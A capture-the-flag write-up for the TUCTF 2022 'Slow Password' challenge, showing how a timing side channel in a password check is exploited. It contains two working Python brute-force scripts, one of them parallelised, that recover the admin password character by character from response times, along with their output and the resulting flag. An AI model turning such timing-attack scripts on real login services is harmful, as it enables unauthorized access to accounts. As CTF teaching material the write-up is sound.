TUCTF 2022 - Slow Password
Slow Password is a misc challenge that was part of the 2022 TUCTF. We have to find a way to get the password. The challenge description:
My friend is hiding a file in his admin panel. He won’t tell me the password, but he’s a lousy coder and I know his password check is slow. Can you help me find the password?
nc chals.tuctf.com 30101
Solution
Like the challenge title says, the password check is slow. We can use this to our advantage. A timing attack can be used to find the password. This means that we can guess the password character by character and don’t have to guess the whole password at once.
First attempt
We have to write a script that measures the time our password guess took and use the results that took the longest.
After some tests, we found out that the length of the password is not being checked. If the correct password would be hackerman
, the input hackerman123
would also be a correct guess.
#!/usr/bin/env python
import time
import string
import socket
allowed_chars = string.printable[:-5]
exec_time = 0
def check(input):
global exec_time
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("chals.tuctf.com", 30101))
s.recv(61)
s.send(input.encode() + b"\n")
t0 = time.time_ns()
r = s.recv(64).decode()
exec_time = time.time_ns() - t0
s.close()
if r == "Incorrect password!\n" or r == "":
return False
print(r)
return True
length = 16
tmp = "XXXXXXXXXXXXXXXX"
best = tmp
i = 0
best_time = exec_time
while True:
for char in allowed_chars:
input = tmp[:i] + char + tmp[i + 1:]
print(f"\rgetPassword: {input}", end="\r", flush=True)
if check(input):
print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
/{length})\n", end="\r", flush=True)
print(input)
break
if best_time < exec_time:
best_time = exec_time
best = input
tmp = best
print(f"getPassword: {best} [{best_time}] ({(i + 1)} \
/{length})\n", end="\r", flush=True)
i += 1
The script is pretty simple. It sends a guess to the server and measures the time it took. If the time is longer than the previous guess, it saves the guess and the time. If the guess is correct, it prints the result and input.
Our first guess was a maximum password length of 16 characters:
getPassword: TXXXXXXXXXXXXXXX [1217399781] (1/16)
getPassword: TfXXXXXXXXXXXXXX [2179548976] (2/16)
getPassword: TfbXXXXXXXXXXXXX [3204734941] (3/16)
getPassword: TfbGXXXXXXXXXXXX [4175906672] (4/16)
getPassword: TfbGMXXXXXXXXXXX [5185307301] (5/16)
getPassword: TfbGMJXXXXXXXXXX [6184137614] (6/16)
getPassword: TfbGMJsXXXXXXXXX [7193670079] (7/16)
getPassword: TfbGMJsEXXXXXXXX [8193642383] (8/16)
getPassword: TfbGMJsEaXXXXXXX [9221110736] (9/16)
getPassword: TfbGMJsEaNXXXXXX [10209376473] (10/16)
getPassword: TfbGMJsEaNTXXXXX [11192792928] (11/16)
getPassword: TfbGMJsEaNTYXXXX [12188362489] (12/16)
getPassword: TfbGMJsEaNTY_XXX [13197804063] (13/16)
getPassword: TfbGMJsEaNTY_4XX [14189329717] (14/16)
But the password was longer… we had to increase the length of our guesses:
getPassword: TfbGMJsEaNTY_46XXXXX [15293849146] (15/20)
getPassword: TfbGMJsEaNTY_468XXXX [16241999659] (16/20)
getPassword: TfbGMJsEaNTY_4682XXX [17189128137] (17/20)
getPassword: TfbGMJsEaNTY_46826XX [18215858283] (18/20)
And again:
getPassword: TfbGMJsEaNTY_468260XXXXXXXXXXXXX [19246731663] (19/32)
getPassword: TfbGMJsEaNTY_468260_XXXXXXXXXXXX [20201848522] (20/32)
getPassword: TfbGMJsEaNTY_468260_cXXXXXXXXXXX [21193429907] (21/32)
getPassword: TfbGMJsEaNTY_468260_cbXXXXXXXXXX [22194173716] (22/32)
getPassword: TfbGMJsEaNTY_468260_cbmXXXXXXXXX [23295253750] (23/32)
getPassword: TfbGMJsEaNTY_468260_cbmaXXXXXXXX [24280882587] (24/32)
getPassword: TfbGMJsEaNTY_468260_cbmabXXXXXXX [25198155575] (25/32)
getPassword: TfbGMJsEaNTY_468260_cbmabfXXXXXX [26254753080] (26/32)
getPassword: TfbGMJsEaNTY_468260_cbmabfuXXXXX [27400676604] (27/32)
At this point, one guess took about 30 seconds, and we have to test ~95 characters per position. This is not going to work (> 45 min / position and more).
Solution
Due to the fact that every correct password position takes about one second, we have to improve our script with multiprocessing
. We can send multiple guesses at the same time and use the results later.
#!/usr/bin/env python
import time
import string
import socket
from multiprocessing import cpu_count
from multiprocessing import Pool
from multiprocessing.dummy import Pool as ThreadPool
allowed_chars = string.printable[:-5]
#allowed_chars = string.ascii_uppercase + "_"
print(allowed_chars)
def check(input):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("chals.tuctf.com", 30101))
s.recv(61)
s.send(input.encode() + b"\n")
t0 = time.time_ns()
r = s.recv(64)
exec_time = time.time_ns() - t0
s.close()
if r != b'Incorrect password!\n':
print("\n\n>", r, "<\n")
return (input, exec_time)
input = "TfbGMJsEaNTY_468260_cbmabfu"
while True:
keys = []
values = []
with Pool(processes=len(allowed_chars)) as pool:
results = pool.imap_unordered(check, [input + c for c in \
allowed_chars])
for r in results:
keys.append(r[0])
values.append(r[1])
print(r[0][-1], end="", flush=True)
input = keys[values.index(max(values))]
print(f" --> {input} [{max(values)}]")
To reduce the number of processes, we sometimes limit the allowed_chars
if we thought we could predict the next character.
Output:
0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&' \
()*+,-./:;<=>?@[\]^_`{|}~
n97m34bh5p8c0ql21g6feskdoitjaruvwxyzABIGEFCHWSONLTDJQMPVRXKUYZ!#"$&%' \
()*+/,<:?.-\=;_@]>[^`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_U \
[33232989195]
bo142i6t0apncrf5me7lgd8sj3qkh9uvwyzAJDGEHXLSVTOQRCBUMKINFPxWYZ!"#$%&' \
()*+-./,:;<=>?@\[_^]`{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UM \
[34307214276]
j6se1dl7bar5im2p8khfco03tqn94gvwuzxyGFBCJIHDERMKQOLUPTNWVSXAY!"Z#$%'& \
()*,+-.:/;>[=<@^?]`\_{}|~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMA \
[35296313070]
k748ti9c0sr21hma3pjfelo5qg6bdnuvwxzyBACEFMHJPIWSQOVKTLRGUNXDYZ!"#$&' \
%()*+,-./;?=<]@[^:\>_`{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD [36392459645]
250boc4atimd3jpqkge67nhr19lsf8uvwAyDBCHQIFLNKVzUWRGEPxTMXOJSYZ!#"%$& \
'(),*+-/.:;><=@[]`_\^?{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD? [37250052534]
51j7edhb2sqpm64kot30fig9n8lrcauvywxDGIABQPKURHWTEMLCzJSFOVXNZ!Y#"$%& \
'(*+),-.:=;</>@[^`\]?_{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_ [38222238694]
36fa8neg920rtb4jmqcko1h5pl7idsvxwuBEzLTFOAUKNQGPyWSHJVXDCRMIYZ!"#$%& \
'(+)*,.;/<@-?>][=:\^_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_I [39397937462]
e81q0lg75n932pftjbsidrmkhao64cvuxwBzCEIyKLFROSHXPWUADMVQNTJGYZ!"#$%& \
'()*.,:+-;</=>?@[\]_`^{}~| --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT [40239271021]
0hq87cl6f42nrg53bk91josaidemtpuvwxAzCFHJyDELBPMUOWVNSRQIGTKXYZ!"#$%& \
(',).*-+;>=:@/[?<]^\`_{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_ [41228644377]
35fthibs7j9ac816rdkne42lg0opmquvxwzyABDFCGOQIPNTMSREXHJLUVWKYZ#!$"%& \
'()*+-,/:[=<;>^.]@\?_`{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_K [42291698064]
4132570k6q8pb9tnfrdgjhleiocamuwvxzAyCDGIHMNLBPTRWVQUEKFJSOXYZ!"$#%& \
()'-+*.;,/:?<\=>@[]^_`{}| ~s --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_KE [43300268355]
c9hilr67npbofmgd2stke0j84a15q3uvywAFBHIDLzKMROQUTXWEGPJCSxVNYZ"!#%$' \
(&)*.,+:-/=;<>?@[]^\`_{|}~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_KEE [44241918139]
0bdcjt3a94rq8hns7ef56ig12moklpuvwxAzyBDHCEJMGIKNLFOQRUSVWTXPYZ"!&#$) \
'*%-+.;(:<,=?]@/[>^\_`{|} ~ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_KEEP [45230331170]
a21h8lern9o5fscb3mpjk0g4q76dtiuvxywBDCFHMJLKONRAEUVPXzIGQWTSZY!"#$%& \
('+).,*-:;/<>=?[@\_`^]{|~ } --> TfbGMJsEaNTY_468260_cbmabfu_LOL_ \
UMAD?_IT_KEEPS [46245757557]
Here we only use capital letters and _
:
ABCDEFGHIJKLMNOPQRSTUVWXYZ_
IJKFTPXCOGSQYADWBRZLMVENHU_ --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
_IT_KEEPS_ [47287110430]
HIZUYCAKPVOSBJ_NREWDFXMLQTG --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
_IT_KEEPS_G [48304242679]
H_RBJLDMUSYPWVKIQGCAZETFXNO --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
_IT_KEEPS_GO [49271433724]
O_LFCEHPVWQZNUBDXTAKSMJYGRI --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
_IT_KEEPS_GOI [50266267276]
EFWIHXKJSZAVOLYTCGUP_RBDMQN --> TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD? \
_IT_KEEPS_GOIN [51319796003]
> b'Welcome, admin! Have a flag:\nTUCTF{wh47_4_5l0w_4l60r17hm_426793}' <
...
The last position can be any character, but the password is not valid without it.
Here, we used G
as the last character:
$ nc chals.tuctf.com 30101
<:: Admin Panel Login ::>
------------------------
Password: TfbGMJsEaNTY_468260_cbmabfu_LOL_UMAD?_IT_KEEPS_GOING
Welcome, admin! Have a flag:
TUCTF{wh47_4_5l0w_4l60r17hm_426793}
Flag
The flag is “TUCTF{wh47_4_5l0w_4l60r17hm_426793}”.